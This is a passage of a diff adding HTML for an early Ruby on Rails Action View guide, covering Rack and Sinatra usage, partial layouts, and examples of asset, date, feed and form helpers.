+<p>Let&#8217;s start by ensuring that you have the Action Pack and Rack gems installed:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+gem install actionpack
+gem install rack
+</pre>
+</div>
+</notextile>
+
+<p>Now we&#8217;ll create a simple &#8220;Hello World&#8221; application that uses the <tt>titleize</tt> method provided by Active Support.</p>
+<p><strong>hello_world.rb:</strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'rubygems'
+require 'active_support/core_ext/string/inflections'
+require 'rack'
+
+def hello_world(env)
+  [200, {&quot;Content-Type&quot; =&gt; &quot;text/html&quot;}, &quot;hello world&quot;.titleize]
+end
+
+Rack::Handler::Mongrel.run method(:hello_world), :Port =&gt; 4567
+</pre>
+</div>
+</notextile>
+
+<p>We can see this all come together by starting up the application and then visiting <tt>http://localhost:4567/</tt></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+ruby hello_world.rb
+</pre>
+</div>
+</notextile>
+
+<p><span class="caps">TODO</span> needs a screenshot? I have one &#8211; not sure where to put it.</p>
+<p>Notice how &#8216;hello world&#8217; has been converted into &#8216;Hello World&#8217; by the <tt>titleize</tt> helper method.</p>
+<p>Action View can also be used with <a href="http://www.sinatrarb.com/">Sinatra</a> in the same way.</p>
+<p>Let&#8217;s start by ensuring that you have the Action Pack and Sinatra gems installed:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+gem install actionpack
+gem install sinatra
+</pre>
+</div>
+</notextile>
+
+<p>Now we&#8217;ll create the same &#8220;Hello World&#8221; application in Sinatra.</p>
+<p><strong>hello_world.rb:</strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'rubygems'
+require 'action_view'
+require 'sinatra'
+
+get '/' do
+  erb 'hello world'.titleize
+end
+</pre>
+</div>
+</notextile>
+
+<p>Then, we can run the application:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+ruby hello_world.rb
+</pre>
+</div>
+</notextile>
+
+<p>Once the application is running, you can see Sinatra and Action View working together by visiting <tt>http://localhost:4567/</tt></p>
+<p><span class="caps">TODO</span> needs a screenshot? I have one &#8211; not sure where to put it.</p>
+<h3 id="templates-partials-and-layouts">4 Templates, Partials and Layouts</h3>
+<p><span class="caps">TODO</span>&#8230;</p>
+<p><span class="caps">TODO</span> see http://guides.rubyonrails.org/layouts_and_rendering.html</p>
+<h3 id="using-templates-partials-and-layouts-in-the-rails-way">5 Using Templates, Partials and Layouts in &#8220;The Rails Way&#8221;</h3>
+<p><span class="caps">TODO</span>&#8230;</p>
+<h3 id="partial-layouts">6 Partial Layouts</h3>
+<p>Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion.</p>
+<p>Let&#8217;s say we&#8217;re displaying a post on a page where it should be wrapped in a <tt>div</tt> for display purposes. First, we&#8217;ll create a new <tt>Post</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Post.create(:body =&gt; 'Partial Layouts are cool!')
+</pre>
+</div>
+</notextile>
+
+<p>In the <tt>show</tt> template, we&#8217;ll render the <tt>post</tt> partial wrapped in the <tt>box</tt> layout:</p>
+<p><strong>posts/show.html.erb</strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;%= render :partial =&gt; 'post', :layout =&gt; 'box', :locals =&gt; {:post =&gt; @post} %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>box</tt> layout simply wraps the <tt>post</tt> partial in a <tt>div</tt>:</p>
+<p><strong>posts/_box.html.erb</strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;div class='box'&gt;
+  &lt;%= yield %&gt;
+&lt;/div&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>post</tt> partial wraps the post&#8217;s <tt>body</tt> in a <tt>div</tt> with the <tt>id</tt> of the post using the <tt>div_for</tt> helper:</p>
+<p><strong>posts/_post.html.erb</strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;%= div_for(post) do %&gt;
+  &lt;p&gt;&lt;%= post.body %&gt;&lt;/p&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This example would output the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;div class='box'&gt;
+  &lt;div id='post_1'&gt;
+    &lt;p&gt;Partial Layouts are cool!&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Note that the partial layout has access to the local <tt>post</tt> variable that was passed into the <tt>render</tt> call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.</p>
+<p>You can also render a block of code within a partial layout instead of calling <tt>yield</tt>. For example, if we didn&#8217;t have the <tt>post</tt> partial, we could do this instead:</p>
+<p><strong>posts/show.html.erb</strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;% render(:layout =&gt; 'box', :locals =&gt; {:post =&gt; @post}) do %&gt;
+  &lt;%= div_for(post) do %&gt;
+    &lt;p&gt;&lt;%= post.body %&gt;&lt;/p&gt;
+  &lt;% end %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>If we&#8217;re using the same <tt>box</tt> partial from above, his would produce the same output as the previous example.</p>
+<h3 id="view-paths">7 View Paths</h3>
+<p><span class="caps">TODO</span>&#8230;</p>
+<h3 id="overview-of-all-the-helpers-provided-by-action-view">8 Overview of all the helpers provided by Action View</h3>
+<p>The following is only a brief overview summary of the helpers available in Action View. It&#8217;s recommended that you review the <span class="caps">API</span> Documentation, which covers all of the helpers in more detail, but this should serve as a good starting point.</p>
+<h4 id="activerecordhelper">8.1 ActiveRecordHelper</h4>
+<p>The Active Record Helper makes it easier to create forms for records kept in instance variables. You may also want to review the <a href="form_helpers.html">Rails Form helpers guide</a>.</p>
+<h5 id="error_message_on">8.1.1 error_message_on</h5>
+<p>Returns a string containing the error message attached to the method on the object if one exists.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+error_message_on &quot;post&quot;, &quot;title&quot;
+</pre>
+</div>
+</notextile>
+
+<h5 id="error_messages_for">8.1.2 error_messages_for</h5>
+<p>Returns a string with a <span class="caps">DIV</span> containing all of the error messages for the objects located as instance variables by the names given.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+error_messages_for &quot;post&quot;
+</pre>
+</div>
+</notextile>
+
+<h5 id="form">8.1.3 form</h5>
+<p>Returns a form with inputs for all attributes of the specified Active Record object. For example, let&#8217;s say we have a <tt>@post</tt> with attributes named <tt>title</tt> of type <tt>String</tt> and <tt>body</tt> of type <tt>Text</tt>. Calling <tt>form</tt> would produce a form to creating a new post with inputs for those attributes.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+form(&quot;post&quot;)
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action='/posts/create' method='post'&gt;
+  &lt;p&gt;
+    &lt;label for=&quot;post_title&quot;&gt;Title&lt;/label&gt;&lt;br /&gt;
+    &lt;input id=&quot;post_title&quot; name=&quot;post[title]&quot; size=&quot;30&quot; type=&quot;text&quot; value=&quot;Hello World&quot; /&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for=&quot;post_body&quot;&gt;Body&lt;/label&gt;&lt;br /&gt;
+    &lt;textarea cols=&quot;40&quot; id=&quot;post_body&quot; name=&quot;post[body]&quot; rows=&quot;20&quot;&gt;&lt;/textarea&gt;
+  &lt;/p&gt;
+  &lt;input name=&quot;commit&quot; type=&quot;submit&quot; value=&quot;Create&quot; /&gt;
+&lt;/form&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Typically, <tt>form_for</tt> is used instead of <tt>form</tt> because it doesn&#8217;t automatically include all of the model&#8217;s attributes.</p>
+<h5 id="input">8.1.4 input</h5>
+<p>Returns a default input tag for the type of object returned by the method.</p>
+<p>For example, if <tt>@post</tt> has an attribute <tt>title</tt> mapped to a <tt>String</tt> column that holds &#8220;Hello World&#8221;:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+input(&quot;post&quot;, &quot;title&quot;) # =&gt;
+  &lt;input id=&quot;post_title&quot; name=&quot;post[title]&quot; size=&quot;30&quot; type=&quot;text&quot; value=&quot;Hello World&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h4 id="assettaghelper">8.2 AssetTagHelper</h4>
+<p>This module provides methods for generating <span class="caps">HTML</span> that links views to assets such as images, javascripts, stylesheets, and feeds.</p>
+<p>By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting <tt>ActionController::Base.asset_host</tt> in the application configuration, typically in <tt>config/environments/production.rb</tt>. For example, let&#8217;s say your asset host is <tt>assets.example.com</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionController::Base.asset_host = &quot;assets.example.com&quot;
+image_tag(&quot;rails.png&quot;) # =&gt; &lt;img src=&quot;http://assets.example.com/images/rails.png&quot; alt=&quot;Rails&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="register_javascript_expansion">8.2.1 register_javascript_expansion</h5>
+<p>Register one or more javascript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register javascript files that the plugin installed in public/javascripts.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionView::Helpers::AssetTagHelper.register_javascript_expansion :monkey =&gt; [&quot;head&quot;, &quot;body&quot;, &quot;tail&quot;]
+
+javascript_include_tag :monkey # =&gt;
+  &lt;script type=&quot;text/javascript&quot; src=&quot;/javascripts/head.js&quot;&gt;&lt;/script&gt;
+  &lt;script type=&quot;text/javascript&quot; src=&quot;/javascripts/body.js&quot;&gt;&lt;/script&gt;
+  &lt;script type=&quot;text/javascript&quot; src=&quot;/javascripts/tail.js&quot;&gt;&lt;/script&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="register_javascript_include_default">8.2.2 register_javascript_include_default</h5>
+<p>Register one or more additional JavaScript files to be included when <tt>javascript_include_tag :defaults</tt> is called. This method is typically intended to be called from plugin initialization to register additional <tt>.js</tt> files that the plugin installed in <tt>public/javascripts</tt>.</p>
+<h5 id="register_stylesheet_expansion">8.2.3 register_stylesheet_expansion</h5>
+<p>Register one or more stylesheet files to be included when symbol is passed to <tt>stylesheet_link_tag</tt>. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in <tt>public/stylesheets</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion :monkey =&gt; [&quot;head&quot;, &quot;body&quot;, &quot;tail&quot;]
+
+stylesheet_link_tag :monkey # =&gt;
+  &lt;link href=&quot;/stylesheets/head.css&quot;  media=&quot;screen&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;
+  &lt;link href=&quot;/stylesheets/body.css&quot;  media=&quot;screen&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;
+  &lt;link href=&quot;/stylesheets/tail.css&quot;  media=&quot;screen&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="auto_discovery_link_tag">8.2.4 auto_discovery_link_tag</h5>
+<p>Returns a link tag that browsers and news readers can use to auto-detect an <span class="caps">RSS</span> or <span class="caps">ATOM</span> feed.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+auto_discovery_link_tag(:rss, &quot;http://www.example.com/feed.rss&quot;, {:title =&gt; &quot;RSS Feed&quot;}) # =&gt;
+  &lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; title=&quot;RSS Feed&quot; href=&quot;http://www.example.com/feed&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="image_path">8.2.5 image_path</h5>
+<p>Computes the path to an image asset in the public images directory. Full paths from the document root will be passed through. Used internally by <tt>image_tag</tt> to build the image path.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+image_path(&quot;edit.png&quot;) # =&gt; /images/edit.png
+</pre>
+</div>
+</notextile>
+
+<h5 id="image_tag">8.2.6 image_tag</h5>
+<p>Returns an html image tag for the source. The source can be a full path or a file that exists in your public images directory.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+image_tag(&quot;icon.png&quot;) # =&gt; &lt;img src=&quot;/images/icon.png&quot; alt=&quot;Icon&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="javascript_include_tag">8.2.7 javascript_include_tag</h5>
+<p>Returns an html script tag for each of the sources provided. You can pass in the filename (<tt>.js</tt> extension is optional) of javascript files that exist in your <tt>public/javascripts</tt> directory for inclusion into the current page or you can pass the full path relative to your document root.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+javascript_include_tag &quot;common&quot; # =&gt;
+  &lt;script type=&quot;text/javascript&quot; src=&quot;/javascripts/common.js&quot;&gt;&lt;/script&gt;
+</pre>
+</div>
+</notextile>
+
+<p>To include the Prototype and Scriptaculous javascript libraries in your application, pass <tt>:defaults</tt> as the source. When using <tt>:defaults</tt>, if an <tt>application.js</tt> file exists in your <tt>public/javascripts</tt> directory, it will be included as well.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+javascript_include_tag :defaults
+</pre>
+</div>
+</notextile>
+
+<p>You can also include all javascripts in the javascripts directory using <tt>:all</tt> as the source.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+javascript_include_tag :all
+</pre>
+</div>
+</notextile>
+
+<p>You can also cache multiple javascripts into one file, which requires less <span class="caps">HTTP</span> connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if <tt>ActionController::Base.perform_caching</tt> is set to true (which is the case by default for the Rails production environment, but not for the development environment).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+javascript_include_tag :all, :cache =&gt; true # =&gt;
+  &lt;script type=&quot;text/javascript&quot; src=&quot;/javascripts/all.js&quot;&gt;&lt;/script&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="javascript_path">8.2.8 javascript_path</h5>
+<p>Computes the path to a javascript asset in the <tt>public/javascripts</tt> directory. If the source filename has no extension, <tt>.js</tt> will be appended. Full paths from the document root will be passed through. Used internally by <tt>javascript_include_tag</tt> to build the script path.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+javascript_path &quot;common&quot; # =&gt; /javascripts/common.js
+</pre>
+</div>
+</notextile>
+
+<h5 id="stylesheet_link_tag">8.2.9 stylesheet_link_tag</h5>
+<p>Returns a stylesheet link tag for the sources specified as arguments. If you don&#8217;t specify an extension, <tt>.css</tt> will be appended automatically.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+stylesheet_link_tag &quot;application&quot; # =&gt;
+  &lt;link href=&quot;/stylesheets/application.css&quot; media=&quot;screen&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You can also include all styles in the stylesheet directory using :all as the source:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+stylesheet_link_tag :all
+</pre>
+</div>
+</notextile>
+
+<p>You can also cache multiple stylesheets into one file, which requires less <span class="caps">HTTP</span> connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+stylesheet_link_tag :all, :cache =&gt; true
+  &lt;link href=&quot;/stylesheets/all.css&quot;  media=&quot;screen&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="stylesheet_path">8.2.10 stylesheet_path</h5>
+<p>Computes the path to a stylesheet asset in the public stylesheets directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+stylesheet_path &quot;application&quot; # =&gt; /stylesheets/application.css
+</pre>
+</div>
+</notextile>
+
+<h4 id="atomfeedhelper">8.3 AtomFeedHelper</h4>
+<h5 id="atom_feed">8.3.1 atom_feed</h5>
+<p>This helper makes building an <span class="caps">ATOM</span> feed easy. Here&#8217;s a full usage example:</p>
+<p><strong>config/routes.rb</strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+map.resources :posts
+</pre>
+</div>
+</notextile>
+
+<p><strong>app/controllers/posts_controller.rb</strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def index
+  @posts = Post.find(:all)
+
+  respond_to do |format|
+    format.html
+    format.atom
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p><strong>app/views/posts/index.atom.builder</strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+atom_feed do |feed|
+  feed.title(&quot;Posts Index&quot;)
+  feed.updated((@posts.first.created_at))
+
+  for post in @posts
+    feed.entry(post) do |entry|
+      entry.title(post.title)
+      entry.content(post.body, :type =&gt; 'html')
+
+      entry.author do |author|
+        author.name(post.author_name)
+      end
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="benchmarkhelper">8.4 BenchmarkHelper</h4>
+<h5 id="benchmark">8.4.1 benchmark</h5>
+<p>Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;% benchmark &quot;Process data files&quot; do %&gt;
+  &lt;%= expensive_files_operation %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This would add something like &#8220;Process data files (0.34523)&#8221; to the log, which you can then use to compare timings when optimizing your code.</p>
+<h4 id="cachehelper">8.5 CacheHelper</h4>
+<h5 id="cache">8.5.1 cache</h5>
+<p>A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static <span class="caps">HTML</span> fragments, and so on. This method takes a block that contains the content you wish to cache. See <tt>ActionController::Caching::Fragments</tt> for more information.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;% cache do %&gt;
+  &lt;%= render :partial =&gt; &quot;shared/footer&quot; %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<h4 id="capturehelper">8.6 CaptureHelper</h4>
+<h5 id="capture">8.6.1 capture</h5>
+<p>The <tt>capture</tt> method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;% @greeting = capture do %&gt;
+  &lt;p&gt;Welcome! The date and time is &lt;%= Time.now %&gt;&lt;/p&gt;
+&lt;% end %&gt;
+&lt;ruby&gt;
+
+The captured variable can then be used anywhere else.
+
+&lt;ruby&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Welcome!&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;%= @greeting %&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="content_for">8.6.2 content_for</h5>
+<p>Calling <tt>content_for</tt> stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to <tt>yield</tt>.</p>
+<p>For example, let&#8217;s say we have a standard application layout, but also a special page that requires certain Javascript that the rest of the site doesn&#8217;t need. We can use <tt>content_for</tt> to include this Javascript on our special page without fattening up the rest of the site.</p>
+<p><strong>app/views/layouts/application.html.erb</strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Welcome!&lt;/title&gt;
+    &lt;%= yield :special_script %&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Welcome! The date and time is &lt;%= Time.now %&gt;&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+</notextile>
+
+<p><strong>app/views/posts/special.html.erb</strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;p&gt;This is a special page.&lt;/p&gt;
+
+&lt;% content_for :special_script do %&gt;
+  &lt;script type=&quot;text/javascript&quot;&gt;alert('Hello!')&lt;/script&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<h4 id="datehelper">8.7 DateHelper</h4>
+<h5 id="date_select">8.7.1 date_select</h5>
+<p>Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+date_select(&quot;post&quot;, &quot;published_on&quot;)
+</pre>
+</div>
+</notextile>
+
+<h5 id="datetime_select">8.7.2 datetime_select</h5>
+<p>Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+datetime_select(&quot;post&quot;, &quot;published_on&quot;)
+</pre>
+</div>
+</notextile>
+
+<h5 id="distance_of_time_in_words">8.7.3 distance_of_time_in_words</h5>
+<p>Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set <tt>include_seconds</tt> to true if you want more detailed approximations.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+distance_of_time_in_words(Time.now, Time.now + 15.seconds)        # =&gt; less than a minute
+distance_of_time_in_words(Time.now, Time.now + 15.seconds, true)  # =&gt; less than 20 seconds
+</pre>
+</div>
+</notextile>
+
+<h5 id="select_date">8.7.4 select_date</h5>
+<p>Returns a set of html select-tags (one for year, month, and day) pre-selected with the <tt>date</tt> provided.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Generates a date select that defaults to the date provided (six days after today)
+select_date(Time.today + 6.days)
+
+# Generates a date select that defaults to today (no specified date)
+select_date()
+</pre>
+</div>
+</notextile>
+
+<h5 id="select_datetime">8.7.5 select_datetime</h5>
+<p>Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the <tt>datetime</tt> provided.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Generates a datetime select that defaults to the datetime provided (four days after today)
+select_datetime(Time.now + 4.days)
+
+# Generates a datetime select that defaults to today (no specified datetime)
+select_datetime()
+</pre>
+</div>
+</notextile>
+
+<h5 id="select_day">8.7.6 select_day</h5>
+<p>Returns a select tag with options for each of the days 1 through 31 with the current day selected.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Generates a select field for days that defaults to the day for the date provided
+select_day(Time.today + 2.days)
+
+# Generates a select field for days that defaults to the number given
+select_day(5)
+</pre>
+</div>
+</notextile>
+
+<h5 id="select_hour">8.7.7 select_hour</h5>
+<p>Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Generates a select field for minutes that defaults to the minutes for the time provided
+select_minute(Time.now + 6.hours)
+</pre>
+</div>
+</notextile>
+
+<h5 id="select_minute">8.7.8 select_minute</h5>
+<p>Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Generates a select field for minutes that defaults to the minutes for the time provided.
+select_minute(Time.now + 6.hours)
+</pre>
+</div>
+</notextile>
+
+<h5 id="select_month">8.7.9 select_month</h5>
+<p>Returns a select tag with options for each of the months January through December with the current month selected.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Generates a select field for months that defaults to the current month
+select_month(Date.today)
+</pre>
+</div>
+</notextile>
+
+<h5 id="select_second">8.7.10 select_second</h5>
+<p>Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Generates a select field for seconds that defaults to the seconds for the time provided
+select_second(Time.now + 16.minutes)
+</pre>
+</div>
+</notextile>
+
+<h5 id="select_time">8.7.11 select_time</h5>
+<p>Returns a set of html select-tags (one for hour and minute).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Generates a time select that defaults to the time provided
+select_time(Time.now)
+</pre>
+</div>
+</notextile>
+
+<h5 id="select_year">8.7.12 select_year</h5>
+<p>Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the <tt>:start_year</tt> and <tt>:end_year</tt> keys in the <tt>options</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Generates a select field for five years on either side of +Date.today+ that defaults to the current year
+select_year(Date.today)
+
+# Generates a select field from 1900 to 2009 that defaults to the current year
+select_year(Date.today, :start_year =&gt; 1900, :end_year =&gt; 2009)
+</pre>
+</div>
+</notextile>
+
+<h5 id="time_ago_in_words">8.7.13 time_ago_in_words</h5>
+<p>Like <tt>distance_of_time_in_words</tt>, but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+time_ago_in_words(3.minutes.from_now)       # =&gt; 3 minutes
+</pre>
+</div>
+</notextile>
+
+<h5 id="time_select">8.7.14 time_select</h5>
+<p>Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
+time_select(&quot;order&quot;, &quot;submitted&quot;)
+</pre>
+</div>
+</notextile>
+
+<h4 id="debughelper">8.8 DebugHelper</h4>
+<p>Returns a <tt>pre</tt> tag that has object dumped by <span class="caps">YAML</span>. This creates a very readable way to inspect an object.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+my_hash = {'first' =&gt; 1, 'second' =&gt; 'two', 'third' =&gt; [1,2,3]}
+debug(my_hash)
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;pre class='debug_dump'&gt;---
+first: 1
+second: two
+third:
+- 1
+- 2
+- 3
+&lt;/pre&gt;
+</pre>
+</div>
+</notextile>
+
+<h4 id="formhelper">8.9 FormHelper</h4>
+<p>Form helpers are designed to make working with models much easier compared to using just standard <span class="caps">HTML</span> elements by providing a set of methods for creating forms based on your models. This helper generates the <span class="caps">HTML</span> for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller.</p>
+<p>There are two types of form helpers: those that specifically work with model attributes and those that don&#8217;t. This helper deals with those that work with model attributes; to see an example of form helpers that donโ€˜t work with model attributes, check the ActionView::Helpers::FormTagHelper documentation.</p>
+<p>The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let&#8217;s say that you have a model Person and want to create a new instance of it:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
+&lt;%= form_for :person, @person, :url =&gt; { :action =&gt; &quot;create&quot; } do |f| %&gt;
+  &lt;%= f.text_field :first_name %&gt;
+  &lt;%= f.text_field :last_name %&gt;
+  &lt;%= submit_tag 'Create' %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The <span class="caps">HTML</span> generated for this would be:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action=&quot;/persons/create&quot; method=&quot;post&quot;&gt;
+  &lt;input id=&quot;person_first_name&quot; name=&quot;person[first_name]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
+  &lt;input id=&quot;person_last_name&quot; name=&quot;person[last_name]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
+  &lt;input name=&quot;commit&quot; type=&quot;submit&quot; value=&quot;Create&quot; /&gt;
+&lt;/form&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The params object created when this form is submitted would look like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
